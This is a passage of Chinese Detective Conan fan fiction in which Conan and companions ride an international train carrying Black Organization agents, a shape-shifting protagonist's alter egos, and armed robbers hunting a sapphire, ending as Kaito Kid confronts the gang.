最迟有一部在明年就会上映。而身边的则是一位戴着眼镜的斯文男, 他自称御衣海锈,是这位小桔子小姐的经纪人。 因为恰好都是日本人, 再加上小桔子实在美貌,毛利小五郎更是主动贴了上去, 所以他们现在就成了这幅相谈甚欢的样子。毛利“沉睡名侦探”的名头显然在这异国他乡还是能打响的。 天色暗了下来,柯南还在想白天里见到的那缕衣角。有人已经准备要休息了,也有人还在做自己的事。因为小桔子的挽留,小五郎又多待了几个时辰,等到后来终于要走了,这位年轻的女明星才从悲切的恋情故事中清醒过来,要为他们送行。 说是送行,也只是将车厢门打开。外面的车灯很明亮,是通透的白色。他们刚一出门,就见到另一间的车厢中迎来了他们的住客。这同样是一位很美丽的女士,她画着浓淡相宜的妆,身上披着一件一看就很名贵的白裘围脖,头上戴着顶宽沿的帽子,脖子上挂着串晶莹的珍珠。两个很高大的男人为她提着几箱行李,看他们的作风,好似是专门雇佣的保镖。 听见这边的声音,这位短发烫染的外国女士淡淡地暼了他们一眼,没有说话,直接走进了包厢中。 小五郎眼一亮:“真是位美丽又倨傲的女士啊。” 已经很累了的小兰不由道:“爸爸!” 小五郎咳嗽了下,连忙道:“啊哈哈哈,我们去休息吧,已经很晚了哈哈。” 柯南没有收回视线,他继续往那边看。最后边的一个包间中,一个浅浅的缝隙打开,似乎注意到了他的注视,暗中的人一惊,立马将门缝关严。 “呐呐,”柯南拉了拉小五郎的袖子:“叔叔,你有记得,那间车厢中住的是什么人吗?”他手往那一指。 “什么人?”小五郎抬头回忆:“昨天上来的人很多,我那个时候又都关注小桔子小姐去了……” 好吧,就知道你不靠谱,柯南无力地垂下手臂。 应该不会发生什么事吧?那位女士可是在后面才上来的。 柯南思绪重重,一个晚上接连做了好几个梦。在梦中,他见到了琴酒,这一次,他将他逼到了绝路……他猛然坐起身,额头上冷汗淋漓。 门外传来说话的声音,柯南飞快地去将门打开。是小兰和铃木园子,听见声音,她们转头望来。“小鬼,”园子叉着腰,凑近过来道:“都快中午了,你才起来,早饭都过了!” 柯南摸了摸肚子,果然,里面空荡荡的难受。他笑道:“昨天太累了嘛,又开车又转车的。”他撒娇道:“我不是故意不吃饭的。” 小兰果然很体谅他,说现在就带他去餐厅。“毛利叔叔呢?”柯南左右望了望。 “大概在台球室吧。”小兰思索:“好像碰到了一个高手,台球打得很好,爸爸又不服输,就和他僵下去了。” 车窗外的风景一掠而过,柯南又问:“我们现在到哪了?” “好像是叫作什么孟佳国吧。”园子露出一副艰难回忆的神情。 “是叫孟加拉国。”小兰纠正她道。“具体来说还没到,还是在另一个国家的边界城市中。” 一定要跑这么远吗?柯南不由得思考起自己是为什么会在这里的。 “好兴奋啊!”园子跺跺脚:“听说这些国家都是和日本完全不同的国家,他们的人民用截然不同的方式生活。” “还不如在中国停靠一段时间,”柯南吐槽道:“那里的地方才真是多。” “可我去过了中国,还没来这里过呢。”园子道。 小兰说:“这也没办法,这趟列车的起始点就不在那边。以后有机会我们再一起去吧。” 伴随着小兰和园子的谈话声,她们一起去往了餐厅的位置。一走进去,一股温暖的风就迎面扑来,餐厅中很安静,已经有好几人落座了。 “怎么回事?”柯南在心中暗暗警戒起来:“这里的氛围。”他环顾了一圈,最里面坐着两个穿黑衣的人,昨天见过的那位小桔子小姐和她的经纪人坐在后边一个靠窗的位置,有两三个自己不认识的人正在小声说话,见到有人进来,他们冷冷地暼过来一眼。 “风祭先生!”似乎碰到了认识的人,小兰对着离得最近的一桌上的人高兴地打招呼。 柯南凝神看去,是在上车时碰到过的人,也是日本人,看其样子,应该是公派出来的。 “啊,是毛利小姐,”风祭野见也有些惊讶,“又见面了,你好。” “上午的时候还没多谢你帮我找回围巾呢,”小兰不好意思道:“也是我毛毛躁躁的,将东西落了下来。” 风祭野见摇摇头:“没什么,以后小心就好。能在车上遇到同个国家的人也是缘分……” 是啊,这个车上的日本人浓度好像过多了。柯南想。 “原来是这样,是客户也是朋友的邀请,你们才来坐这一趟跨国的列车,”风祭野见说到这里,他的语气中带上了点羡慕:“比我们好很多,我们是因为公司的业务要洽谈。一位VVIP客户不想打断自己计划的旅行,所以我们被派来这辆车,去与他签订协议。” 小兰睁大眼:“啊,还、还可以这样吗?” “是的,”风祭野见有些苦涩道:“有钱人的想法我们也读不懂。” 但很快,他就洒脱笑道:“不过,这对我们也是好事不是吗?起码省下了一大笔的旅游费,这样的事,以后多来几次也不是不行。” 小兰立刻也笑了起来:“是啊,确实是这样。” 柯南的目光停在了另一人身上。他一直端坐着不动,但感官似乎很敏锐,注意到了他的视线,偏过头来,看了看他,见是个小孩子,又收回目光。“前辈,”他的声音里好似天生带着笑意,他道:“还要多谢你带我这个新人,否则的话,这一次的事绝对轮不到我。” 风祭野见叹了口气:“没办法,你的入职推荐信都是我写的,我不带着你,谁带着你?” “多吃点吧,”他说:“费用都包含在车票里了,以后可不会有这样的机会,尝尝星级大厨的手艺。” 与这两位的交谈也很轻松,之前那种古怪的氛围好像不再环绕着他们。小兰从列车的服务员手中接过一张点菜单,园子熟稔地报出几道菜名,看得出来,她对这些都很熟悉。 还是先吃饭吧。太过饥饿让柯南一直纠结那些异样都做不到,他啊唔一声,吞掉一个小甜点。他幸福地弯起了眼睛。 遥远的天际,漆黑的乌云从更远的地方涌了过来。风雨雷电蕴藏其中,发出闷隆的声音。 “真是好技艺啊!”毛利小五郎的大嗓门响彻在车道里,他换上了一件蓝色的西服,摸着脑袋大声称赞道:“我在国内可没见过台球打得像你这样好的年轻人,有机会我们再去切磋切磋,等回国了,我再给你介绍几个同样精于此道的人!” 走在他身边的是一个高大俊秀的青年,他穿着一身黑色的外套,头上戴着一顶针织的帽子,几缕黑发从帽子的边沿跳出,他的眼窝深陷,面部的线条深邃分明,前面的衣领打开,一双笔直的腿迈出的步伐坚定有力,他低声道:“以后一定会有机会的。” 刚要走入此道的人突一听闻,他飞快地侧身一躲,将自己的身形躲入到一间包间中去。在缝隙中悄悄地观察,直到这两个人走远,他才从房间内无声走出。 “居然是这个家伙!”他的心中无法抑制地涌出恨意,他握紧了拳头,牙齿咬得咯吱咯吱响。 他知道这趟车上将要发生什么,他只是不明白,这个曾经背叛了那个组织的人,又是为什么会在这里。他的心中忽然出现了一个预感,“不,”他立即将这个猜测撕得粉碎:“曾经做过的事一定会得到报应。” “赤井秀一,”他在心中暗暗说:“杀了他的你,一定要下地狱!” 列车在轨道上飞速奔驰,它的前方是一片稀疏的树林。离开了有人居住的城市,接下来,它要驶向的,是几百上千公里内都无人生存的荒野,那里地形复杂,道路崎岖,是观赏自然风景的好去处,但谁也不知道,一场惊天的变故即将降临。 第67章 风雨欲来 列车上有着某种蓄势待发的张力, 柯南察觉到了,有些人也察觉到了。在阿笠博士与灰原的包厢中,柯南对着将双膝紧紧抱在一起的女孩说:“最近你就不要出门了。” “如果遇到什么不对的, 注意要保全自己,要是应付不来,就用侦探队的徽章联络我。日常食物由阿笠博士带给你, 或者让列车乘员直接送给你。陌生人敲门不要应。” 看着他对自己嘱托着一些只有小孩需要嘱托的话,灰原哀淡淡地笑了:“你不需要担心, 这点事我还是能做到的。还有你,”她直直地注目着他:“要小心, 我感觉……这辆列车,几乎被那个组织中人的气味给充满了。” 她的眼中流露出一抹惶恐:“我从来, 没见到这么多人一起过。” 柯南皱了皱眉, 他飞速地再安慰几句, 就从这个包厢中匆匆离开了。他开始怀疑起毛利小五郎那位客户朋友邀请他们的动机,但一想到这车上还是有普通人的,就将这怀疑暂时压了下去。如果自己在外面感觉到的那人真是琴酒, 那么, 组织或许就是要在这辆车上做些什么。 “该死, 小兰和毛利叔叔也在车上!”他的心中涌出无限的焦迫。 另一列的车厢中, 在结束了一日的午餐后,风祭野见带着三轮未海从餐厅一路往后走, 一个有着一头棕红色短发的高挑女子从他们身边路过, 见到是风祭野见,她薄如刀一样的嘴唇中, 吐出轻蔑的嘲笑。 三轮未海有些紧张,他才刚刚加入到这个组织没多久, 见到的代号成员就已经比有些人一辈子见到的都要多了,他紧紧地跟在风祭野见身后,有些不明白,为什么自己的这位前辈,好像在组织中不被人待见。 风祭野见就像没听见一样。他的面上无甚表情,在脱离了日常后,没有伪装的他,就好像没有了情感上的起伏。他不喜欢说话,也不融入到其它的圈子中去,给人一种存在极为弱小的平淡感。 “那是基安蒂,是组织中的狙击手。”见到三轮未海要回望,已经走到两人包厢前的风祭野见淡淡地介绍了一句。“她虽然是行动组的,但也不怎么喜欢听琴酒的话。不要去招惹她。”他道。 三轮未海赶紧点头。 他不知道黑衣组织在这辆车上准备要做什么,他也想不到,尽管在当晚的灭门事件中,他几乎是由琴酒救下来的,而且还将他放在了自己前辈的身边,但不知为何,他能够感觉到,那个人其实一点也不在乎自己,而这位前辈……他的心中思绪翻滚。 “不要想太多。”风祭野见突然的话让陷入了沉思的三轮未海吓了一跳,他的语声永远是这样平静无波:“我们和他们不是一路的。我们要去的是组织的训练基地,在那里,你会接受一段时间基础的训练,通过了才算是真正踏入到了组织。也不要在意其他人的态度,我们是情报组的,不是同伴和不是上司的人,不需要在他们面前诚惶诚恐。” 意思是他们没资格命令自己去做什么,对于自己不想做的事,可以酌情拒绝。一味退缩,只会让人得寸进尺。三轮未海眨眨眼,表明自己已经读懂了他的意思。 “当然,也不要刻意去挑衅。”风祭野见向他传授着组织中的生存之道。他推开门,刚想要进入,就听见脚下传来一阵软绵绵的猫叫。 “嗯?”他低下头。 三轮未海也有些惊讶,列车是不准带猫上来的,更不要说是这样来历不明的猫了。这猫浑身上下都是雪白的毛发,看不出什么品种,双眼中倒是颇有神采,正在将一只前爪毫不客气地搭在风祭野见的皮鞋上,留下一道淡淡的梅花印。 “前辈,我这就把猫赶走。”摸不准他的想法,三轮未海立刻说。 “等等。”风祭野见伸出一条手臂。在他的眼中,这只猫并不是普通的猫,相反,它的身上正缠绕着一股能量。 “你先去其他地方吧。”他说:“我还有些事要做。” 三轮未海欲言又止,他见到前辈蹲下身来,将这只猫小心地抱进怀里,要将它带入自己的包间。他最后回头望时,见到的就是这只猫趴在他肩膀上看过来的眼神——如人一般深邃莫名。他打了个寒颤。 随手将门关上,风祭野见没有将猫放下,而是顺势在它的脊背上从上往下抚摸了一遍,猫猫抖了抖,干脆利落地从他怀中跳了下来。 “本体,”风祭野见率先道:“你怎么也过来了?” “如果想要知道什么,直接用这具身体不是很好吗?” 猫猫踱步:“太麻烦了,你和[望川涉]都在这车上,我可不想不断地换马甲,一旦操作乱了,很可能就会出问题。你们也有了一定的自主性,由你们自己处理就好。” 马甲就是为了减轻自己负担的,什么都要自己来,那是纯给自己找不自在。 在侦探所的裴真闭上了眼睛。他全部的心神都放在了猫“宝石”的身体里,为避免有人从它的毛色中联想到自己这边,他还特意用能量将它身上的灰毛变成了白毛。 “还有,[伊莎贝尔]已经被人和无色之王划在了一起,你和[望川涉]是两个不同立场的身份,还是不要暴露这一点为好。”猫猫裴真亮了下爪子:“[望川涉]上次就受了伤,如果不是早有准备,那副马甲很可能会报废在那里。这一次的局势这么混乱,你们还是需要点依仗。” “哦,你是来给我们托底的。”风祭野见十分平淡地总结道。 裴真也不在意,因为他确实就是这么想的,“无色之王的眷属是一只猫,这牵扯进来的东西会少很多。而一只猫想做什么,谁也不能说什么。因为这是无色之王的意志。他们无法问出口。” 风祭野见点点头,他叹了口气:“真是可惜,我没办法搞出像是伊莎贝尔那样的大动静,收获会少很多。” 裴真有些无语,他道:“那次才是不正常的,[她]的个性和才能与[统帅]太契合了,才能结出那样的果子。这些你都知道,还有,你的心中根本不在意这些,就不要说出这种话了。” 猫猫趴在一边的小沙发上,澄澈的眼睛注视着他。风祭野见将一碟果子放在了它的面前。他轻轻地勾起唇,眼神有一瞬仿若将所有的光线都吸入,他道:“别担心,我会给你上演一台好剧的,所有的东西都会进献给你,本体。” 猫猫没有动,他的目光依旧平静。 第二日的深夜,天色更为昏沉,弥漫的乌云遮蔽住了月亮,车厢外部的空间伸手不见五指。有乘警敲响每一个车厢,给没有入睡的客人提示天气的变幻。手机上的预报也告知了他们,有一场风暴将要来袭。每个人又重新将一些厚重的衣服拿了出来。 “天气怎么突然就变坏了呢?”小兰有些担心,她拿着手机一直在网上查询:“上车前我们不是查过吗?这几天不会有问题的。” 园子在一旁也有些担忧:“没有预兆的变坏,说不定就是出大问题了。”她也在手机上按按按,像是查出了什么,她道:“我们现在是在距离东太平洋更近的地方,上半年还出现了厄尔尼诺现象,接下来会出现‘冷事件’,出现大暴雨也是有可能的。” 柯南忧虑地皱起眉,气候恶劣很可能会引起一系列的变故,包括不限于通讯与电力、水力,一旦真的陷入到了那样的困境,黑衣组织做出什么来都是有可能的。 “不用担心,”园子很快就松开眉:“乘警和我们说了,已经联系了当地的警方,要是出了什么问题,很快就能让他们赶过来的。” 柯南只能放下担忧。也是,这可是趟国际列车,要是出了事,没有人能不管。 柯南不知道的是,他所担心的黑衣组织暂时还没有动静,但另一小部分的人,却已经在暗中蠢蠢欲动了。 “还不动手吗?”一个小黑子问。 “再等等。”应该是领头的小黑人说:“现在还不是最好的时机。” “还要等到什么时候,那个女人说不定在印度就下车了,”一个小黑人有些气急地说:“那可是‘路易斯之心’,在拍卖行上拍出了780万美元的高价,只要做完这一单,接下来的富贵就不用愁了!” “我是说,再等等!”先前的那个领导的小黑人喝声道:“还是说,你认为我的话已经不起效用了吗?” “不,没有,老大,”先前的人萎了,他小声道:“我只是担心……” “要有耐心,”小黑人语重心长地说:“你没看到吗,连上天都在帮我们,”他望向窗外:“接下来的天气,会越来越糟糕也说不定。” 许多人都在一齐望向天空。有人将窗帘拉了下来,不想看到这恶劣的气候;也有人叼着烟,望着窗外出神;更有人在暗中向自己的组织联络,汇报车中发现的事。一只猫躺在温暖的床上,在枕头边,在三轮未海奇怪的视线中,陷入到了昏沉的睡眠。 有人在黑暗中发笑,他发现了一些有趣的事与人,并将它发送给车上另一位自己的同伴。风祭野见将手机熄了屏,平平板板地躺在床上,双手搭在小腹的位置处,状似安稳地睡了过去。 第68章 列车之劫案 “大哥, ”外界一阵风声呼啸中,伏特加还是那一身黑色的西装,最多也就是在外面加了件高昂的羽绒大衣, 他在检查着自己随身携带的枪支,对其进行日常保养,“那个家伙真的在这趟列车上吗?”他忧虑地说:“他那么狡猾的样子, 不会是个陷阱吧?” 琴酒侧着身,因为是在包厢内, 所以没有抽烟,这个男人身形高大, 侧颜线条深刻,靠在窗边不说话时, 看上去竟有一种沉静忧郁的气质。他暼了自己的小弟一眼, 道:“就算是陷阱又如何?” “难道因为有那个可能, 你就不过来了吗?”他冷笑了一下:“畏手畏脚的,如何在暗世界生存下去?” 伏特加立刻将头低下,他憨笑道:“我就是这样一说, 只是以前从来没见过能和大哥打成那样的人, 所以有些担忧。当然, 我不是说大哥不行, 大哥一直都是很行的,这一次也一定会……” “闭嘴!”琴酒额头抽了抽, 他冷喝着打断了伏特加后来越来越慌张的话, 他深吸了口气,接着道:“这一次是BOSS下的命令, 给组织造成了那样大损失的人,既然招揽不到组织里, 就必须要将他解决掉。这不仅是组织颜面的问题,也是给其他人的震慑。就像我多次说过的——” 他转过脸来,之前还平静的面上又一次显出了那种迫不及待的恐怖的笑:“得罪了组织的人,都要死!” “咚咚咚。”脚步落在车厢地板上的声音,小兰怀里抱着一些熨好的衣服,一边往前走,一边有些困惑地想:“爸爸去和新认识的朋友喝酒了,柯南说是要去博士那,园子也不知道干什么去了,只剩下我一个人,好奇怪,不知道要去做什么好。” 她有些出神,没有注意到路过的包厢门刚好要打开,等她注意到,脚下已经下意识地往后退了。“不好!”她自己人没有问题,手中的衣服却被勾落了一件,是一件比较薄的内衣。 里面的人恰好与她对望。 走道尽头的一个暗色的人影见到这一幕,将身形往后藏了藏,他咧开嘴,露出了一个极富特色的笑。 “原来是这样,”半晌后,小兰手中抱着一杯温暖的热茶:“夫人您是因为私人飞机被有紧急事的丈夫开走了,自己又想要见一下生活在印度的女儿,所以才搭上了这趟列车啊。” 被她称为夫人的人,正是当晚柯南注意到的刚上车的女人,她现在换上了一件高领的毛衣,一串圆润的珍珠挂在脖子上,她皮肤红润,五官优美,一举一动中都带着一种从容的优雅,一眼就能看出她生活中的富足。 她望着小兰:“你是和你的父亲一起上车的?将自己女儿一个人放在这里,这可不好。” “不不不,”小兰连连摇手道:“他只是和朋友一起喝酒去了,还有其他人和我在一起,我自己也是可以的。” 夫人笑道:“叫我班克斯就好。看到你,就让我想起了我以前的女儿,当年她也是这样倔强,固执地认为自己一个人也是可以的。幸而她后来也算过得不错,免了我们的担心。” 小兰闻言,露出一个温婉的笑,她轻声说:“班克斯夫人,父母总是担心自己儿女的,不论她是不是一个人。我相信,她也会在您思念着她的同时思念您,因为,她是在您的爱中长大的。” 这场谈话并没有交流很久,但班克斯夫人看样子很喜欢小兰,不仅亲自将她送了出来,还赠予了她一个小小的珍珠发夹,说是在路上随手买来的小特产。小兰一开始不想接,但还是被班克斯夫人用巧妙的话圆了过去。 “还好,”毛利小五郎盯着这发夹看了好一会,最后道:“看样子不是什么很贵重的东西,不过我们最好之后再去拜访一趟,礼尚往来,送点小东西。” “那位夫人有什么不对的地方吗?”一边的柯南却是在沉思后道。 小兰有些讶异地回望他:“夫人哪有什么不对的……嗯,真要说起来,她的那两位保镖倒是有些奇怪。” “怎么了?”柯南打起精神。 小兰露出回忆的神情,将手指竖在嘴边:“在我和夫人交谈的时候,他们一直死死地盯着我,手还放在口袋里要动未动,我感觉,他们好像恨不得立刻冲上前来,要将我脸皮撕开的样子。哈哈,”说着她自己都笑了:“我这比喻是有点古怪。” “他们一直都没有离开吗?”柯南顿了下,又问:“你还在那里发现了什么?” “喂,小子!”小兰没有回答,毛利小五郎就先一步发飙了:“你一直问我女儿是怎么回事?是想要审问她吗?” “爸爸,”小兰无奈道:“柯南大概是好奇了,他可能是发现了什么,你也知道,他比一般的孩子都要敏锐。” “我想想,”小兰闭上眼睛,深思道:“夫人那里是四人间的房,收拾得很整洁干净,桌上有一张折叠起来立在上面的纸,纸上好像写了一些字,夫人,呃,夫人看过去的时候,好像很期待?” 说完,她自己也愣住了。柯南更是露出一副迷惑的神情,“期待?”这与他之前的有些猜想完全不符,他歪了歪头,不知所措:“她雇保镖,难道不是怕有人盯上她吗?”想不通,柯南觉得脑壳疼。 黑衣组织、奇怪的夫人、暗地里窥伺的人,还有车厢内那种古怪的氛围,这一切的一切,都在向柯南昭示着什么。但因为缺少了某些信息,他始终都无法看穿全局,思索无果的他,不得不抱着疑惑,陷入到了第三日的睡眠。 而便是在今晚,某些事开始浮出水面。 外面的风声越来越大,吵得让人睡不着觉。不知何时,原本还在行驶的列车慢慢降速下来,直到停在铁轨上,不再动弹。列车中的乘务人员也都接到了一些消息。 “还没联络到调度中心吗?”列车长有些慌张,他去问列车的司机。 司机正在摆弄着一些仪盘,上面显示着这辆列车的数据,他皱紧了眉道:“可能是无线基站出了问题,不过别担心,我们可以通过卫星联络总站。” 如果是在从前,他们的这种情况很可能只能在无限的焦急中等待救援,但现在,有些事可以不用那么复杂了。进行过专程修习的列车长也知道这一点,他松了口气。 在接通过总站的电话后,司机交流了一会。半分钟后,他转过头来,满脸严肃地对列车长说:“是飓风。” “什么?”列车长的心猛的沉了下去。 “飓风袭击了前面的城镇,他们只来得及给我们发出一条消息,就紧急撤离了。” “他们就没有事先预测到吗?” “是突然转向的,”司机道:“那个时候我们还没有出前一个国家,后面就算知道了,估计也只能在这里等着了。” “他们就没有什么救援行动么?” “先不说灾难还没到我们这里,他们的救援部队本身就人数不足。” “该死的小国!”列车长一拳砸在桌子上。 黑夜中,有些还没睡的人惊异地发现,他们的手机已经无法联络上网络了。有人开始尝试着给家里打电话,却始终无法播出去。 “快!”有人暗中催促,他之后的人行动格外迅捷,毫不费力地就打开了一个包间的门。床上的人还在熟睡,领头的人格外娴熟地将一块沾湿的手帕捂在他的脸上,等到手下的人呜呜几声不动后,他们就开始飞速搜刮起来。 又是一扇门被打开,里面的人还没有睡,见到有人闯入,刚想要大喊,就看到一把冲锋枪正直对着他,他立刻举起双手,口也紧紧闭着,不敢发出一点声音。 “老大,这是个肥羊。”有人上前来说。 领头的人一个示意,就有人去逼问这人财产。包间的主人欲哭无泪,他没想到,在这样高级的列车上,自己居然会遭遇到这样从前几十年前才会遇到的事,他开始叽里咕噜地说英语,有人立刻翻译道:“老大,他说现在没人将钱财带在身上,他在银行里倒是还有几百万,您报个账号,他可以转到你的卡上。” 老大冷笑一声,他走上前去,一拳就打在他的腹部,让这人晚上吃的饭都吐了出来。他冷声说了几句。狗腿就道:“我们老大说了,他就求现钱,转账银行,他玩不转那种东西,也不想有人顺藤摸瓜地找来。你有什么值钱的东西,都赶紧拿出来,这可是你的买命钱。” 房客哆哆嗦嗦地将自己的手表、金链,还有手机和笔记本电脑都一股脑儿地掏出,手机拿出立刻就被人摔碎了,电脑也被人折腾了一番后丢弃。这些东西都有可能有定位,就算再值钱,他们也没准备要。 再又结束一个房间后,他们毫不客气地一枪托打在房客的后脑上,将他击晕,干脆利落地要去下一个房间。 但一出门,一位巡视的乘警就出现在了他们眼中,这里的监控坏了,他察觉到不对,便过来看看。但劫匪更果断,他们毫不犹豫地开了一枪,将这位还没拿出武器的乘警给送上了天。 紧接着是下一个房间,再下一个房间。有人发出惊呼,但惊呼之后就是悄无声息,也有人自始至终都没有发出声音,取而代之的,是他们身上越来越大的包裹。这一群人,除开起初的几个,后面的都是格外粗糙且野蛮的样子,像未驯化的野兽。 直到他们来到一间包厢前。领头的人眼中闪过激动,他示意了一下,身后就走来一人,仔细一瞧,这人身上竟是穿着一身乘务员的服饰,他将钥匙插入孔中,随意转了转,就将之打开了。而下一瞬,里面一道黑影就撞了出来。“乘务员”被撞到车壁上,发出痛苦的闷哼声。 “该死,”领头的人说出一句陌生的语言,像是缅甸、又像是周边其他国家的语音,“你没有将晚饭吃下!”冲出来的是那两位保镖之一,他撞出来的同时,毫不犹豫地就对着外面的人开了枪。 “砰!”一声枪响响彻了黑夜。无数的灯光被惊醒。 领头人一梭子就朝着保镖打了过去。屋内的班克斯夫人惶恐地看着这一切,她握紧了胸前的玉佛,心中禁不住开始祈祷起来。 第69章 爆发的冲突 暗中有人在观察着这群劫匪, 这群人虽忙不乱,领头的人缜密果断、动手的狠辣迅捷,再加上翻译的、搜寻的、看门的, 这么一支队伍中,竟是什么样的人才都有,他们各司其职, 将这一场抢劫,演绎得格外凌厉, 宛如一把插入的尖刀。 这些人都是东南亚这边的人种,暗中的人观察得很仔细, 他们开枪手法娴熟,拷问人驾轻就熟, 行动间有一种令行禁止的意味, 恐怕来历不是那么简单, 他们盯上了这辆列车,大概不是心血来潮地来做上一票。 保镖与劫匪交战在一起,既然枪声已经响起, 劫匪也不必再拘手拘脚, 更多的枪声连响, 在风中传了出去, 列车内一时很寂静。在距离他们只差一个隔间的包厢内,柯南一个翻身, 立马从床上跳了下来, 他紧贴在门后,犹如一只幼虎, 不放过外面一丝声音。 小兰也起来了,她有些担忧地望着外面, 手中攒紧了被子,刚想要问什么,一只手就按压在她的肩膀上,止住了她的出声。“嘘。”是毛利小五郎,小兰从没见过自己父亲这般严峻的神情,他一只手指竖在嘴前,双眼死死地看向包厢外。 “可恶!”柯南在心里暗恨,他一直在搜寻黑衣组织的事,没想到列车上还会有其它危险,他生活在承平的城市久了,不知道有些国家,本身就潜藏着无数的混乱与动荡。而仅是一次的疏忽,很有可能就将自己与兰诸人陷落到危险中,这可与往常的破案不一样,是真的能要了人的命的。 幸好灰原哀与阿笠博士他们在下一个车厢,应当还没有遇到这些。柯南一边想着,一边飞快地思索解决方式。 他们在这里紧迫地要面对即将到来的危机,而在两个车厢往后,一间包间内,一个短发高挑、一只眼下有凤尾蝶纹路的女子,是风祭野见和三轮未海在白日里碰到过的,正温柔地给自己保养好的狙击枪中装上子弹。听见枪声,她恍若未闻,另一个车内的同伴倒是说了:“基安蒂,列车上出事了。” 基安蒂笑了下,她端起枪,对准窗外,“什么时候不出事呢?” 她透过镜片瞄准,面上咧出一抹张狂的笑:“管那些做什么。对他们来说,我们才是事故啊。” 她的同伴一听,顿觉有理,面上也露出了一抹有深意的笑。 他们不动,另一边也暂时没有动静。潜藏在上面的人心想:“是组织的人动手了吗?” “不,琴酒他们没有动,”他在思考:“他们是为了那个人来的,那个人还没有露面。就是发生了其它的事。”他的手放在了枪上,一时没有动作:“先不说这里是国外,我们在这里没有执法权,便是组织的事,我们也是属于埋伏的一方,贸然动手,只会将局势导向不利的一边。” “可是,”他又一想:“车上还有无辜的民众,其中还有几位都是日本的国民。”他咬了咬牙,还是悄悄地走了出去。 劫匪中的人没想到,只是一声枪响,就惊动了车上那么多来历不明的人,有人继续冲着保镖开枪,就算身手再好,面对着这么多的枪械,保镖也不得不受伤。他抱着手臂,脸色惨然。 里面的班克斯夫人花容失色,面对着一众将目光放在自己身上的人,她身躯剧烈颤抖起来,手中握着的玉佛也摔倒在地上,裂成了两半。一位躲避着保镖一开始突袭的匪徒一路往后靠,在自己的同伴如狼似虎地盯着这位班克斯夫人的时候,他目光一转,想到了自己之前在车上见到的那人。 “夫人,”领头的人言简意赅道:“‘路易斯之心’是在你的手上吧?” 匪徒招来同伴,用钥匙打开了下一个包间的门。在外面透出的光下,他看到了女星小桔子那张千娇百媚的脸。他一时有些恍惚,想到了自己在白天里见到她时砰砰乱跳的心。着了魔一般,他面上露出猥琐的贪婪,端着枪,就要往那边的床上走去。 小桔子生出了无边的恐惧,她太知道这个人脸上的神情代表什么了,那是一个女人最大的噩梦,她张口就要尖叫,可那人手中对着她的枪打消了一切的反抗。她眼中的光一点一点地熄灭了,男人迫不及待地就要扑过去。 而就是在此刻,一道黑色的身影如幽魅一样,从高处闪电般俯冲而下,一双长腿如剪刀一般狠狠地夹住这个人的脖颈,这人就要高喊,他/她一手捂住了他的嘴巴,另一只手如铁爪一般攒紧他的咽喉,在小桔子惊惧莫名的眼神中,他/她一用力,骨骼碎裂的声音就传入她的耳膜。男人窒息地呜咽,手中的枪要掉落在地上,他/她脚一抬,这把武器就往上一跳。 他/她捂住嘴的手再一扭,身下男人的身体就彻底断了气,那把枪落在了他/她的手中,而恰好在此时,外界响起了一道通天的亮光,小桔子眼尖瞧见一张诡魅妖冶的面容,这是位极美的女性,鲜红的花纹伴在她右半边的脸上,恰似地狱黄泉岸边引魂度魄的勾魂使者,她的目光狭长幽暗,望过来时,就像要带走人的灵魂。 小桔子心脏疯狂乱跳,姗姗来迟的雷电轰然炸响,她的耳中完全听不见其它的声音,等她再平静下来时,原地已经没有一个人了。之前的那道身影就好像幽梦一样消逝无暇,只留下一具尸体证明着这一切。小桔子扑了过去,四处搜寻,眼泪从她的眼眶中落了下来。 班克斯夫人不断地摇着头,领头的人倒是没有那般急切,但他口中吐出的话却比北极的冰还要寒冷,他用枪指着被制住的保镖道:“夫人不要给我打哑谜了,我们都知道,在缅甸的拍卖场上,夫人就是以780万美元购得那颗抹谷矿区出产的稀世蓝宝石,也是因为夫人,这一车的人才遭了此劫。” “夫人若是再不肯,我只好先杀了他,再剥了夫人的衣服,一点一点地亲自来收。”他慢慢道。 班克斯夫人为这极度野蛮的话恐惧到无法自抑。而他身边的人早就忍不住了,那个狗腿上前来叽里呱啦地用浑话说:“谁知道她会将宝石藏在哪里呢?说不定就是什么不可言说的地方,嘿嘿,老大让我来检查检查。” 班克斯夫人疯狂地摇头,她一边摇头,一边飞快地要从身边的衣服里找出什么东西。她找出了一个盒子,战战兢兢地将它送了过去。领头人将之打开,一抹海水一样的幽兰的色泽呈现在他眼中,他稍作辨识,满意地点点头。他满意了,他身边的人还没有满足,他大声道:“还有其它的,我知道,你们这些有钱人,有的绝不仅仅是一颗宝石!都交出来,否则我让你好看!” 他一边说着,一边在班克斯夫人将东西都找出后,还要动手去摸她的衣服。看到那一只满是污垢的手,班克斯夫人终于忍不住了,发出一声尖叫。 “该死!”劫匪一巴掌就要扇过去。便当此时,一直潜藏起来的人终于无法再等待了,见到之前在另一个包间中出过手的人再不见踪迹,他不得不稍稍出手。“刷!”一道白色的影子如利刃一般破空袭来,劫匪扇出去的手顿时一痛,他大叫一声,抱住手掌,有鲜血从中流出。 “是谁?!”领头人大喝。 “哐当!”与此同时,另一边的车厢门被按耐不住的毛利小五郎撞开了,他的眼中通红,喘着粗气,像是经历了好一番煎熬。 他不得不过多考虑,因为他的女儿还在他的身边,还有一个小孩子也跟在一起,而劫匪人数众多,每一个手中都还持着枪。 扣入车厢铁皮墙面上的,是一张扑克牌,牌上绘有一个滑稽的小丑王。 一道白色西装身披披风的人影威风凛凛地登场,他身形修长,如鹤立鸡群般出现在劫匪面前,配在脸上的标志性的单片眼睛这次闪烁的却是冷冽的光,他一手牵起披风的一角,一边淡淡道:“抢夺财物、杀人性命、侮辱女士,这可不是作为一个人该做的事。” “基、基德!”毛利小五郎无比诧异。已经定好超力足鞋的柯南也颇为惊讶,但很快,之前的事在他脑中一转,他瞬时就明白那位夫人的异样是为了什么。“是因宝石而来吗?”他想。 “更何况,‘路易斯之心’可是我定下的猎物啊。”基德的语声中带上了笑,他轻轻道:“宝石的光辉如此耀眼,就像是它的主人一样纯洁美丽,可不要用你们的血污玷污了她们啊。” 他微一弯腰,抬起头来,充斥着一种华美又夸张的舞台感。 劫匪中的领头者不能理解这种艺术,他更没有听说过“基德”的名号,他皱紧了眉,吐声道:“行为艺术吗?”他也不在意,挥了挥手道:“将这几个不自量力的蠢货解决掉,后面还有我们忙的,既然已经决定了抢劫,就不要放走一个胆敢反抗的。” “是!”他的手下一起喝道,冲着他们就要开枪。 基德与小五郎对视一眼,二人仿佛一瞬间就做下了什么决定。 “柯南。”小兰走到一直在观察着门缝外的柯南边。 柯南眼中一动,他预感到了什么:“小兰姐姐!” 小兰笑了起来,她的眼中含着泪:“我可不是只能被你们保护着的啊。” 